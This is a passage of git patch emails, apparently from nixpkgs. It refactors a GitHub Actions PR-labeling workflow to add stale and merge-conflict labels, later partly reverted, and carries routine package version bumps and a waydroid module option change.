Walther Date: Sun, 22 Jun 2025 12:21:20 +0200 Subject: [PATCH 310/390] workflows/labels: refactor to search instead of listing PRs This doesn't provide much value in itself, yet, but is much more flexible in the next step, when also looking at much older PRs. --- .github/workflows/labels.yml | 59 +++++++++++++++++++++++------------- 1 file changed, 38 insertions(+), 21 deletions(-) diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml index 7bf96fe5856d..6d727e34d5c6 100644 --- a/.github/workflows/labels.yml +++ b/.github/workflows/labels.yml @@ -101,6 +101,9 @@ jobs: github.hook.wrap('request', async (request, options) => { // Requests to the /rate_limit endpoint do not count against the rate limit. if (options.url == '/rate_limit') return request(options) + // Search requests are in a different resource group, which allows 30 requests / minute. + // We do less than a handful each run, so not implementing throttling for now. + if (options.url.startsWith('/search/')) return request(options) stats.requests++ if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(options.method)) return writeLimits.schedule(request.bind(null, options)) @@ -131,17 +134,28 @@ jobs: if (process.env.UPDATED_WITHIN && !/^\d+$/.test(process.env.UPDATED_WITHIN)) throw new Error('Please enter "updated within" as integer in hours.') - async function handle(pull_request, done, cutoff) { + async function handle(item) { try { const log = (k,v,skip) => { - core.info(`PR #${pull_request.number} - ${k}: ${v}` + (skip ? ' (skipped)' : '')) + core.info(`#${item.number} - ${k}: ${v}` + (skip ? ' (skipped)' : '')) return skip } - if (log('Last updated at', pull_request.updated_at, new Date(pull_request.updated_at) < cutoff)) - return done() + log('Last updated at', item.updated_at) stats.prs++ - log('URL', pull_request.html_url) + log('URL', item.html_url) + + const pull_number = item.number + const issue_number = item.number + + // The search result is of a format that works for both issues and pull requests and thus + // does not have all fields of a full pull_request response. Notably, it is missing `head.sha`, + // which we need to fetch the workflow run below. When triggered via pull_request event, + // this field is already available. + const pull_request = item.head ? item : (await github.rest.pulls.get({ + ...context.repo, + pull_number + })).data const run_id = (await github.rest.actions.listWorkflowRuns({ ...context.repo, @@ -188,7 +202,7 @@ jobs: repositoryOwner: context.repo.owner, token: core.getInput('github-token') }, - path: path.resolve(pull_request.number.toString()), + path: path.resolve(pull_number.toString()), expectedHash: artifact.digest }) @@ -197,7 +211,7 @@ jobs: const before = Object.fromEntries( (await github.paginate(github.rest.issues.listLabelsOnIssue, { ...context.repo, - issue_number: pull_request.number + issue_number })) .map(({ name }) => [name, true]) ) @@ -205,17 +219,17 @@ jobs: const approvals = new Set( (await github.paginate(github.rest.pulls.listReviews, { ...context.repo, - pull_number: pull_request.number + pull_number })) .filter(review => review.state == 'APPROVED') .map(review => review.user?.id) ) const maintainers = new Set(Object.keys( - JSON.parse(await readFile(`${pull_request.number}/maintainers.json`, 'utf-8')) + JSON.parse(await readFile(`${pull_number}/maintainers.json`, 'utf-8')) ).map(m => Number.parseInt(m, 10))) - const evalLabels = JSON.parse(await readFile(`${pull_request.number}/changed-paths.json`, 'utf-8')).labels + const evalLabels = JSON.parse(await readFile(`${pull_number}/changed-paths.json`, 'utf-8')).labels // Manage the labels const after = Object.assign( @@ -249,11 +263,11 @@ jobs: await github.rest.issues.setLabels({ ...context.repo, - issue_number: pull_request.number, + issue_number, labels }) } catch (cause) { - throw new Error(`Labeling PR #${pull_request.number} failed.`, { cause }) + throw new Error(`Labeling #${item.number} failed.`, { cause }) } } @@ -280,18 +294,21 @@ jobs: })()) core.info('cutoff timestamp: ' + cutoff.toISOString()) - const prs = await github.paginate( - github.rest.pulls.list, + const items = await github.paginate( + github.rest.search.issuesAndPullRequests, { - ...context.repo, - state: 'open', - sort: 'updated', - direction: 'desc', - }, - (response, done) => response.data.map(pull_request => handle(pull_request, done, cutoff)) + q: [ + `repo:"${process.env.GITHUB_REPOSITORY}"`, + 'type:pr', + 'is:open', + `updated:>=${cutoff.toISOString()}` + ].join(' AND '), + // TODO: Remove in 2025-10, when it becomes the default. + advanced_search: true + } ); - (await Promise.allSettled(prs.flat())) + (await Promise.allSettled(items.map(handle))) .filter(({ status }) => status == 'rejected') .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`)) From e55128a079e998204d0e0721cc750ee354d0ea8e Mon Sep 17 00:00:00 2001 From: Wolfgang Walther Date: Mon, 23 Jun 2025 19:47:22 +0200 Subject: [PATCH 311/390] workflows/labels: run on every PR eventually This replaces the manual dispatch trigger with a batched run through all pull requests every day. This has the small benefit of not having to worry about backfilling labeling after fixing bugs - and the much bigger one in being able to handle merge-conflict and stale labels properly later. For those, it's inevitable to eventually scan through all PRs. At this stage, the vast majority of PRs will still be skipped, because there won't be an eval run with artifact available. This will be improved in the next step. Technically, the workflow_dispatch trigger is kept to allow easily testing this in forks, where the scheduled jobs are disabled. The triggered job will behave similar to the scheduled job, though, and have no special inputs. --- .github/workflows/labels.yml | 85 ++++++++++++++++++++++-------------- 1 file changed, 52 insertions(+), 33 deletions(-) diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml index 6d727e34d5c6..95385b482af8 100644 --- a/.github/workflows/labels.yml +++ b/.github/workflows/labels.yml @@ -17,18 +17,12 @@ on: NIXPKGS_CI_APP_PRIVATE_KEY: required: true workflow_dispatch: - inputs: - updatedWithin: - description: 'Updated within [hours]' - type: number - required: false - default: 0 # everything since last run concurrency: # This explicitly avoids using `run_id` for the concurrency key to make sure that only - # *one* non-PR run can run at a time. + # *one* scheduled run can run at a time. group: labels-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number }} - # PR- and manually-triggered runs will be cancelled, but scheduled runs will be queued. + # PR-triggered runs will be cancelled, but scheduled runs will be queued. cancel-in-progress: ${{ github.event_name != 'schedule' }} # This is used as fallback without app only. @@ -69,8 +63,6 @@ jobs: - name: Labels from API data and Eval results uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1 - env: - UPDATED_WITHIN: ${{ inputs.updatedWithin }} with: github-token: ${{ steps.app-token.outputs.token || github.token }} script: | @@ -131,9 +123,6 @@ jobs: const reservoirUpdater = setInterval(updateReservoir, 60 * 1000) process.on('uncaughtException', () => clearInterval(reservoirUpdater)) - if (process.env.UPDATED_WITHIN && !/^\d+$/.test(process.env.UPDATED_WITHIN)) - throw new Error('Please enter "updated within" as integer in hours.') - async function handle(item) { try { const log = (k,v,skip) => { @@ -274,27 +263,22 @@ jobs: if (context.payload.pull_request) { await handle(context.payload.pull_request) } else { - const cutoff = new Date(await (async () => { - // Manually triggered via UI when updatedWithin is set. Will fallthrough to the last - // option if the updatedWithin parameter is set to 0, which is the default. - const updatedWithin = Number.parseInt(process.env.UPDATED_WITHIN, 10) - if (updatedWithin) return new Date().getTime() - updatedWithin * 60 * 60 * 1000 + const workflowData = (await github.rest.actions.listWorkflowRuns({ + ...context.repo, + workflow_id: 'labels.yml', + event: 'schedule', + status: 'success', + exclude_pull_requests: true, + per_page: 1 + })).data - // Normally a scheduled run, but could be workflow_dispatch, see above. Go back as far - // as the last successful run of this workflow to make sure we are not leaving anyone - // behind on GHA failures. - // Defaults to go back 1 hour on the first run. - return (await github.rest.actions.listWorkflowRuns({ - ...context.repo, - workflow_id: 'labels.yml', - event: 'schedule', - status: 'success', - exclude_pull_requests: true - })).data.workflow_runs[0]?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000 - })()) + // Go back as far as the last successful run of this workflow to make sure + // we are not leaving anyone behind on GHA failures. + // Defaults to go back 1 hour on the first run. + const cutoff = new Date(workflowData.workflow_runs[0]?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000) core.info('cutoff timestamp: ' + cutoff.toISOString()) - const items = await github.paginate( + const updatedItems = await github.paginate( github.rest.search.issuesAndPullRequests, { q: [ @@ -306,9 +290,44 @@ jobs: // TODO: Remove in 2025-10, when it becomes the default. advanced_search: true } - ); + ) - (await Promise.allSettled(items.map(handle))) + const allOptions = { + q: [ + `repo:"${process.env.GITHUB_REPOSITORY}"`, + 'type:pr', + 'is:open' + ].join(' AND '), + sort: 'created', + direction: 'asc', + // TODO: Remove in 2025-10, when it becomes the default. + advanced_search: true + } + + const { total_count: total_pulls } = (await github.rest.search.issuesAndPullRequests({ + ...allOptions, + per_page: 1 + })).data + const { total_count: total_runs } = workflowData + const allItems = (await github.rest.search.issuesAndPullRequests({ + ...allOptions, + per_page: 100, + // We iterate through pages of 100 items across scheduled runs. With currently ~7000 open PRs and + // up to 6*24=144 scheduled runs per day, we hit every PR twice each day. + // We might not hit every PR on one iteration, because the pages will shift slightly when + // PRs are closed or merged. We assume this to be OK on the bigger scale, because a PR which was + // missed once, would have to move through the whole page to be missed again. This is very unlikely, + // so it should certainly be hit on the next iteration. + // TODO: Evaluate after a while, whether the above holds still true and potentially implement + // an overlap between runs. + page: total_runs % Math.ceil(total_pulls / 100) + })).data.items + + // Some items might be in both search results, so filtering out duplicates as well. + const items = [].concat(updatedItems, allItems) + .filter((thisItem, idx, arr) => idx == arr.findIndex(firstItem => firstItem.number == thisItem.number)) + + ;(await Promise.allSettled(items.map(handle))) .filter(({ status }) => status == 'rejected') .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`)) From 63b9355ed892b715a881f95e71fc3c22c67bb641 Mon Sep 17 00:00:00 2001 From: Wolfgang Walther Date: Mon, 23 Jun 2025 22:18:25 +0200 Subject: [PATCH 312/390] workflows/labels: handle missing eval results gracefully We keep working through the PR, even though we don't have any eval results. This will allow actually managing labels for much older PRs as well. Most importantly, it will allow merge-conflict and stale-labeling next. --- .github/workflows/labels.yml | 76 ++++++++++++++++++++---------------- 1 file changed, 43 insertions(+), 33 deletions(-) diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml index 95385b482af8..dc1c9344717f 100644 --- a/.github/workflows/labels.yml +++ b/.github/workflows/labels.yml @@ -165,12 +165,12 @@ jobs: head_sha: pull_request.head.sha })).data.workflow_runs[0]?.id - // Newer PRs might not have run Eval to completion, yet. We can skip them, because this - // job will be run as part of that Eval run anyway. - if (log('Last eval run', run_id ?? '', !run_id)) - return; + // Newer PRs might not have run Eval to completion, yet. + // Older PRs might not have an eval.yml workflow, yet. + // In either case we continue without fetching an artifact on a best-effort basis. + log('Last eval run', run_id ?? '') - const artifact = (await github.rest.actions.listWorkflowRunArtifacts({ + const artifact = run_id && (await github.rest.actions.listWorkflowRunArtifacts({ ...context.repo, run_id, name: 'comparison' @@ -179,21 +179,22 @@ jobs: // Instead of checking the boolean artifact.expired, we will give us a minute to // actually download the artifact in the next step and avoid that race condition. // Older PRs, where the workflow run was already eval.yml, but the artifact was not - // called "comparison", yet, will be skipped as well. - const expired = new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000) - if (log('Artifact expires at', artifact?.expires_at ?? '', expired)) - return; - stats.artifacts++ + // called "comparison", yet, will skip the download. + const expired = !artifact || new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000) + log('Artifact expires at', artifact?.expires_at ?? '') + if (!expired) { + stats.artifacts++ - await artifactClient.downloadArtifact(artifact.id, { - findBy: { - repositoryName: context.repo.repo, - repositoryOwner: context.repo.owner, - token: core.getInput('github-token') - }, - path: path.resolve(pull_number.toString()), - expectedHash: artifact.digest - }) + await artifactClient.downloadArtifact(artifact.id, { + findBy: { + repositoryName: context.repo.repo, + repositoryOwner: context.repo.owner, + token: core.getInput('github-token') + }, + path: path.resolve(pull_number.toString()), + expectedHash: artifact.digest + }) + } // Create a map (Label -> Boolean) of all currently set labels. // Each label is set to True and can be disabled later. @@ -214,32 +215,41 @@ jobs: .map(review => review.user?.id) ) - const maintainers = new Set(Object.keys( - JSON.parse(await readFile(`${pull_number}/maintainers.json`, 'utf-8')) - ).map(m => Number.parseInt(m, 10))) - - const evalLabels = JSON.parse(await readFile(`${pull_number}/changed-paths.json`, 'utf-8')).labels - - // Manage the labels + // Manage most of the labels, without eval results const after = Object.assign( {}, before, - // Ignore `evalLabels` if it's an array. - // This can happen for older eval runs, before we switched to objects. - // The old eval labels would have been set by the eval run, - // so now they'll be present in `before`. - // TODO: Simplify once old eval results have expired (~2025-10) - (Array.isArray(evalLabels) ? undefined : evalLabels), { '12.approvals: 1': approvals.size == 1, '12.approvals: 2': approvals.size == 2, '12.approvals: 3+': approvals.size >= 3, - '12.approved-by: package-maintainer': Array.from(maintainers).some(m => approvals.has(m)), '12.first-time contribution': [ 'NONE', 'FIRST_TIMER', 'FIRST_TIME_CONTRIBUTOR' ].includes(pull_request.author_association), } ) + // Manage labels based on eval results + if (!expired) { + const maintainers = new Set(Object.keys( + JSON.parse(await readFile(`${pull_number}/maintainers.json`, 'utf-8')) + ).map(m => Number.parseInt(m, 10))) + + const evalLabels = JSON.parse(await readFile(`${pull_number}/changed-paths.json`, 'utf-8')).labels + + Object.assign( + after, + // Ignore `evalLabels` if it's an array. + // This can happen for older eval runs, before we switched to objects. + // The old eval labels would have been set by the eval run, + // so now they'll be present in `before`. + // TODO: Simplify once old eval results have expired (~2025-10) + (Array.isArray(evalLabels) ? undefined : evalLabels), + { + '12.approved-by: package-maintainer': Array.from(maintainers).some(m => approvals.has(m)), + } + ) + } + // No need for an API request, if all labels are the same. const hasChanges = Object.keys(after).some(name => (before[name] ?? false) != after[name]) if (log('Has changes', hasChanges, !hasChanges)) From 58dd9630c38123707c6acd97fb65f33f36c70af1 Mon Sep 17 00:00:00 2001 From: Wolfgang Walther Date: Mon, 23 Jun 2025 22:33:12 +0200 Subject: [PATCH 313/390] workflows/labels: manage stale label for pull requests This manages the `2. status: stale` label for pull requests only (not issues, yet) with the following conditions: - The last event on the timeline of the Pull Request counts. - Labeling and unlabeling of any kind are ignored. - Older than 180 days are stale. - Security labeled PRs are never stale. To handle this label correctly, it's important to go through all pull requests. Any approach to limit the list of PRs via search are not going to work: - Filtering by `updated` is not going to work, because it includes the last time that *a label was set* on the PR. To actually find out whether a PR is stale or not, the timeline of events needs to be looked at. - Filtering by an existing stale label is not going to work either, because such a label might have been added manually and thus breaking the rules we set up here. Thus any existing label needs to be confirmed as well. --- .github/workflows/labels.yml | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml index dc1c9344717f..99a5dcf7004d 100644 --- a/.github/workflows/labels.yml +++ b/.github/workflows/labels.yml @@ -215,11 +215,28 @@ jobs: .map(review => review.user?.id) ) + const latest_event_at = new Date( + (await github.paginate( + github.rest.issues.listEventsForTimeline, + { + ...context.repo, + issue_number, + per_page: 100 + } + )) + // We also ignore base_ref_force_pushed, which will not happen in nixpkgs, but + // is very useful for testing in forks. + .findLast(({ event }) => !['labeled', 'unlabeled', 'base_ref_force_pushed'].includes(event)) + ?.created_at ?? item.created_at + ) + const stale_at = new Date(new Date().setDate(new Date().getDate() - 180)) + // Manage most of the labels, without eval results const after = Object.assign( {}, before, { + '2.status: stale': !before['1.severity: security'] && latest_event_at < stale_at, '12.approvals: 1': approvals.size == 1, '12.approvals: 2': approvals.size == 2, '12.approvals: 3+': approvals.size >= 3, From 36e9fe9e7d8537438cf5d8f3cf197921f171d154 Mon Sep 17 00:00:00 2001 From: Wolfgang Walther Date: Mon, 23 Jun 2025 22:53:41 +0200 Subject: [PATCH 314/390] workflows/labels: manage merge-conflict label for pull requests The code comments describe much better what we do then a commit message could ever do. --- .github/workflows/labels.yml | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml index 99a5dcf7004d..c3bc9301f67f 100644 --- a/.github/workflows/labels.yml +++ b/.github/workflows/labels.yml @@ -141,6 +141,8 @@ jobs: // does not have all fields of a full pull_request response. Notably, it is missing `head.sha`, // which we need to fetch the workflow run below. When triggered via pull_request event, // this field is already available. + // This API request is also important for the merge-conflict label, because it triggers the + // creation of a new test merge commit. This is needed to actually determine the state of a PR. const pull_request = item.head ? item : (await github.rest.pulls.get({ ...context.repo, pull_number @@ -236,6 +238,18 @@ jobs: {}, before, { + // We intentionally don't use the mergeable or mergeable_state attributes. + // Those have an intermediate state while the test merge commit is created. + // This doesn't work well for us, because we might have just triggered another + // test merge commit creation by request the pull request via API at the start + // of this function. + // The attribute merge_commit_sha keeps the old value of null or the hash *until* + // the new test merge commit has either successfully been created or failed so. + // This essentially means we are updating the merge conflict label in two steps: + // On the first pass of the day, we just fetch the pull request, which triggers + // the creation. At this stage, the label is likely not updated, yet. + // The second pass will then read the result from the first pass and set the label. + '2.status: merge conflict': !pull_request.merge_commit_sha, '2.status: stale': !before['1.severity: security'] && latest_event_at < stale_at, '12.approvals: 1': approvals.size == 1, '12.approvals: 2': approvals.size == 2, From ee0937ff0db78d87f57165c89038c0f1dfd22fa4 Mon Sep 17 00:00:00 2001 From: wxt <3264117476@qq.com> Date: Sun, 22 Jun 2025 08:02:37 +0800 Subject: [PATCH 315/390] nixos/waydroid: allow override waydroid --- nixos/modules/virtualisation/waydroid.nix | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nixos/modules/virtualisation/waydroid.nix b/nixos/modules/virtualisation/waydroid.nix index f9891023291c..a26bddc393ae 100644 --- a/nixos/modules/virtualisation/waydroid.nix +++ b/nixos/modules/virtualisation/waydroid.nix @@ -8,7 +8,6 @@ let cfg = config.virtualisation.waydroid; kCfg = config.lib.kernelConfig; - kernelPackages = config.boot.kernelPackages; waydroidGbinderConf = pkgs.writeText "waydroid.conf" '' [Protocol] /dev/binder = aidl2 @@ -26,6 +25,7 @@ in options.virtualisation.waydroid = { enable = lib.mkEnableOption "Waydroid"; + package = lib.mkPackageOption pkgs "waydroid" { }; }; config = lib.mkIf cfg.enable { @@ -49,7 +49,7 @@ in environment.etc."gbinder.d/waydroid.conf".source = waydroidGbinderConf; - environment.systemPackages = with pkgs; [ waydroid ]; + environment.systemPackages = [ cfg.package ]; networking.firewall.trustedInterfaces = [ "waydroid0" ]; @@ -63,7 +63,7 @@ in serviceConfig = { Type = "dbus"; UMask = "0022"; - ExecStart = "${pkgs.waydroid}/bin/waydroid -w container start"; + ExecStart = "${cfg.package}/bin/waydroid -w container start"; BusName = "id.waydro.Container"; }; }; @@ -72,7 +72,7 @@ in "d /var/lib/misc 0755 root root -" # for dnsmasq.leases ]; - services.dbus.packages = with pkgs; [ waydroid ]; + services.dbus.packages = [ cfg.package ]; }; } From e1d83e3cee69a59ed9b9df80d1441bb607b24f91 Mon Sep 17 00:00:00 2001 From: wxt <3264117476@qq.com> Date: Sun, 22 Jun 2025 08:02:45 +0800 Subject: [PATCH 316/390] waydroid: adopt --- pkgs/by-name/wa/waydroid/package.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkgs/by-name/wa/waydroid/package.nix b/pkgs/by-name/wa/waydroid/package.nix index c4c6128770e7..446c15d1bf83 100644 --- a/pkgs/by-name/wa/waydroid/package.nix +++ b/pkgs/by-name/wa/waydroid/package.nix @@ -108,6 +108,6 @@ python3Packages.buildPythonApplication rec { homepage = "https://github.com/waydroid/waydroid"; license = lib.licenses.gpl3Only; platforms = lib.platforms.linux; - maintainers = with lib.maintainers; [ ]; + maintainers = with lib.maintainers; [ bot-wxt1221 ]; }; } From 867c79b3c9f7fc3af5db488e866da6cf965353c2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Sandro=20J=C3=A4ckel?= Date: Mon, 16 Jun 2025 00:16:02 +0200 Subject: [PATCH 317/390] libutil: fix splicing of libblake3 --- .../package-management/nix/modular/src/libutil/package.nix | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/pkgs/tools/package-management/nix/modular/src/libutil/package.nix b/pkgs/tools/package-management/nix/modular/src/libutil/package.nix index 3e96aa0660c8..7ac84405cd24 100644 --- a/pkgs/tools/package-management/nix/modular/src/libutil/package.nix +++ b/pkgs/tools/package-management/nix/modular/src/libutil/package.nix @@ -27,9 +27,7 @@ mkMesonLibrary (finalAttrs: { [ brotli ] - ++ lib.optional (lib.versionAtLeast version "2.27") [ - libblake3 - ] + ++ lib.optional (lib.versionAtLeast version "2.27") libblake3 ++ [ libsodium openssl From 4853556b1f386a72aa3b56672f28083724257d6d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Sandro=20J=C3=A4ckel?= Date: Wed, 18 Jun 2025 16:59:34 +0200 Subject: [PATCH 318/390] nix: fix another lib.optional taking a list --- pkgs/tools/package-management/nix/common-autoconf.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkgs/tools/package-management/nix/common-autoconf.nix b/pkgs/tools/package-management/nix/common-autoconf.nix index 01b87cddc17d..1d7ed8cba374 100644 --- a/pkgs/tools/package-management/nix/common-autoconf.nix +++ b/pkgs/tools/package-management/nix/common-autoconf.nix @@ -111,7 +111,7 @@ let "shadowstack" ] ++ lib.optional stdenv.hostPlatform.isMusl "fortify"; - nativeInstallCheckInputs = lib.optional atLeast224 [ + nativeInstallCheckInputs = lib.optionals atLeast224 [ git man ]; From dd3ce1ee90f7eccd802be74a49c13b03e8fdcaa8 Mon Sep 17 00:00:00 2001 From: Kerstin Humm Date: Tue, 24 Jun 2025 13:01:19 +0200 Subject: [PATCH 319/390] weblate: 5.12.1 -> 5.12.2 Changelog: https://github.com/WeblateOrg/weblate/releases/tag/weblate-5.12.2 --- pkgs/by-name/we/weblate/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/we/weblate/package.nix b/pkgs/by-name/we/weblate/package.nix index 259f5d06c125..b0500def65f7 100644 --- a/pkgs/by-name/we/weblate/package.nix +++ b/pkgs/by-name/we/weblate/package.nix @@ -27,7 +27,7 @@ let in python.pkgs.buildPythonApplication rec { pname = "weblate"; - version = "5.12.1"; + version = "5.12.2"; pyproject = true; @@ -40,7 +40,7 @@ python.pkgs.buildPythonApplication rec { owner = "WeblateOrg"; repo = "weblate"; tag = "weblate-${version}"; - hash = "sha256-8tqPxvSvVG1j/TGMozihtBYsn7oly41lP4iK3BwTmVk="; + hash = "sha256-YaP0lhL7E0pv3ZyfpQ47CjhrzjJPDwGpSTcgXDaMZdA="; }; patches = [ From 7232ec5fc3989c95a9b6033137ec794a6f37d400 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 13:26:50 +0000 Subject: [PATCH 320/390] meteor-git: 0.27.0 -> 0.28.1 --- pkgs/by-name/me/meteor-git/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/me/meteor-git/package.nix b/pkgs/by-name/me/meteor-git/package.nix index f0a4f0f3b7a6..834455c07800 100644 --- a/pkgs/by-name/me/meteor-git/package.nix +++ b/pkgs/by-name/me/meteor-git/package.nix @@ -6,13 +6,13 @@ buildGoModule rec { pname = "meteor-git"; - version = "0.27.0"; + version = "0.28.1"; src = fetchFromGitHub { owner = "stefanlogue"; repo = "meteor"; rev = "v${version}"; - hash = "sha256-OH4WQNSbTMaysaHoKcy3S9V7BWu93Djr8toWtQ7Xj/w="; + hash = "sha256-2BosD88B3ZnLniNhKn4VJjHM5tCfbiTBjLqpU8RHMBI="; }; vendorHash = "sha256-jKd/eJwp5SZvTrP3RN7xT7ibAB0PQondGR3RT+HQXIo="; From 8900e127d6955ec72dc3739f6dbfc64ed001a871 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 13:33:14 +0000 Subject: [PATCH 321/390] lurk: 0.3.9 -> 0.3.10 --- pkgs/by-name/lu/lurk/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/lu/lurk/package.nix b/pkgs/by-name/lu/lurk/package.nix index 582d909b5202..183b8bf5399c 100644 --- a/pkgs/by-name/lu/lurk/package.nix +++ b/pkgs/by-name/lu/lurk/package.nix @@ -6,17 +6,17 @@ rustPlatform.buildRustPackage rec { pname = "lurk"; - version = "0.3.9"; + version = "0.3.10"; src = fetchFromGitHub { owner = "jakwai01"; repo = "lurk"; tag = "v${version}"; - hash = "sha256-KiM5w0YPxEpJ4cR/8YfhWlTrffqf5Ak1eu0yxgOmqUs="; + hash = "sha256-5riwosaT7QjRFnIFRAcyLul7i1g8OpHyUuuJNOROTF0="; }; useFetchCargoVendor = true; - cargoHash = "sha256-N8jAmD9IpR+HALWpqp7y/wp75JVb4zgzoLT5oJ06njY="; + cargoHash = "sha256-CDrqcKNhQYbtDaasyCQ6VPGdIrW34VBKPDpbFeommAc="; postPatch = '' substituteInPlace src/lib.rs \ From 8a4770fc7b2f75766822256c407d1b95f800614a Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 13:34:38 +0000 Subject: [PATCH 322/390] cargo-show-asm: 0.2.49 -> 0.2.50 --- pkgs/by-name/ca/cargo-show-asm/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ca/cargo-show-asm/package.nix b/pkgs/by-name/ca/cargo-show-asm/package.nix index 9cfb0546a5f3..b1203e41f8e1 100644 --- a/pkgs/by-name/ca/cargo-show-asm/package.nix +++ b/pkgs/by-name/ca/cargo-show-asm/package.nix @@ -10,15 +10,15 @@ rustPlatform.buildRustPackage rec { pname = "cargo-show-asm"; - version = "0.2.49"; + version = "0.2.50"; src = fetchCrate { inherit pname version; - hash = "sha256-DH3jE7nGdwIQVHk80EsC4gYh5+wk6VMWS0d+jZYnX1I="; + hash = "sha256-BmRcaZKAWwRJQyVsymudDg6l7O9pcE2s+Y9VgaJ/Q48="; }; useFetchCargoVendor = true; - cargoHash = "sha256-R+I6EVzHvI1Et4nvxENc3IvfmSLr/g77x4wCMNb2R88="; + cargoHash = "sha256-+NOk3lzBsgPs1AIUfwWP4sOKSV3XPZsPxl0QNPXPgZQ="; nativeBuildInputs = [ installShellFiles From a0522c0c9d452455493b57a0c690e6297251bc14 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 13:43:21 +0000 Subject: [PATCH 323/390] jql: 8.0.6 -> 8.0.7 --- pkgs/by-name/jq/jql/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/jq/jql/package.nix b/pkgs/by-name/jq/jql/package.nix index 0dc871b3f14c..271c26c0565b 100644 --- a/pkgs/by-name/jq/jql/package.nix +++ b/pkgs/by-name/jq/jql/package.nix @@ -6,17 +6,17 @@ rustPlatform.buildRustPackage rec { pname = "jql"; - version = "8.0.6"; + version = "8.0.7"; src = fetchFromGitHub { owner = "yamafaktory"; repo = "jql"; rev = "jql-v${version}"; - hash = "sha256-bb3QoODsVZaTw5mcagvcGLn8uwG48nmHPgtlIC2ZdVE="; + hash = "sha256-OBv7uScgFnLhkeQ2dKey+QYUvX4y/iLFjfCUJeqhXBs="; }; useFetchCargoVendor = true; - cargoHash = "sha256-7+qlQf44DgjijKlM+HRjyubH3W/PJbortri3ur0ASnk="; + cargoHash = "sha256-AAdYjlPpyhxKQ8mXdLBdivMp8G91Ho5ntS73HC8wMfQ="; meta = with lib; { description = "JSON Query Language CLI tool built with Rust"; From e35593b1cc0b2ec1e63c8d4387be353a975199ff Mon Sep 17 00:00:00 2001 From: Fabian Affolter Date: Tue, 24 Jun 2025 15:51:38 +0200 Subject: [PATCH 324/390] python313Packages.tencentcloud-sdk-python: 3.0.1406 -> 3.0.1407 Diff: https://github.com/TencentCloud/tencentcloud-sdk-python/compare/refs/tags/3.0.1406...refs/tags/3.0.1407 Changelog: https://github.com/TencentCloud/tencentcloud-sdk-python/blob/3.0.1407/CHANGELOG.md --- .../python-modules/tencentcloud-sdk-python/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/tencentcloud-sdk-python/default.nix b/pkgs/development/python-modules/tencentcloud-sdk-python/default.nix index b5a3b82611f1..dd44490989ae 100644 --- a/pkgs/development/python-modules/tencentcloud-sdk-python/default.nix +++ b/pkgs/development/python-modules/tencentcloud-sdk-python/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "tencentcloud-sdk-python"; - version = "3.0.1406"; + version = "3.0.1407"; pyproject = true; disabled = pythonOlder "3.9"; @@ -19,7 +19,7 @@ buildPythonPackage rec { owner = "TencentCloud"; repo = "tencentcloud-sdk-python"; tag = version; - hash = "sha256-trRgXXaXeGUcFA/ZRuMz9+EnTx/JUSa5+e5YX2yn8xY="; + hash = "sha256-3F/37g6caCBotlhAe1xmFSyiTT5O1RJyQHEMjYTtoEw="; }; build-system = [ setuptools ]; From c366efa6e2816c2cb48b3018fe00ceb8ca6cbc81 Mon Sep 17 00:00:00 2001 From: Wolfgang Walther Date: Tue, 24 Jun 2025 14:00:20 +0000 Subject: [PATCH 325/390] Revert "workflows/labels: manage stale & merge conflict labels" --- .github/workflows/labels.yml | 361 ++++++++++++++--------------------- 1 file changed, 147 insertions(+), 214 deletions(-) diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml index c3bc9301f67f..83cf0511fc5e 100644 --- a/.github/workflows/labels.yml +++ b/.github/workflows/labels.yml @@ -17,12 +17,18 @@ on: NIXPKGS_CI_APP_PRIVATE_KEY: required: true workflow_dispatch: + inputs: + updatedWithin: + description: 'Updated within [hours]' + type: number + required: false + default: 0 # everything since last run concurrency: # This explicitly avoids using `run_id` for the concurrency key to make sure that only - # *one* scheduled run can run at a time. + # *one* non-PR run can run at a time. group: labels-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number }} - # PR-triggered runs will be cancelled, but scheduled runs will be queued. + # PR- and manually-triggered runs will be cancelled, but scheduled runs will be queued. cancel-in-progress: ${{ github.event_name != 'schedule' }} # This is used as fallback without app only. @@ -63,6 +69,8 @@ jobs: - name: Labels from API data and Eval results uses: 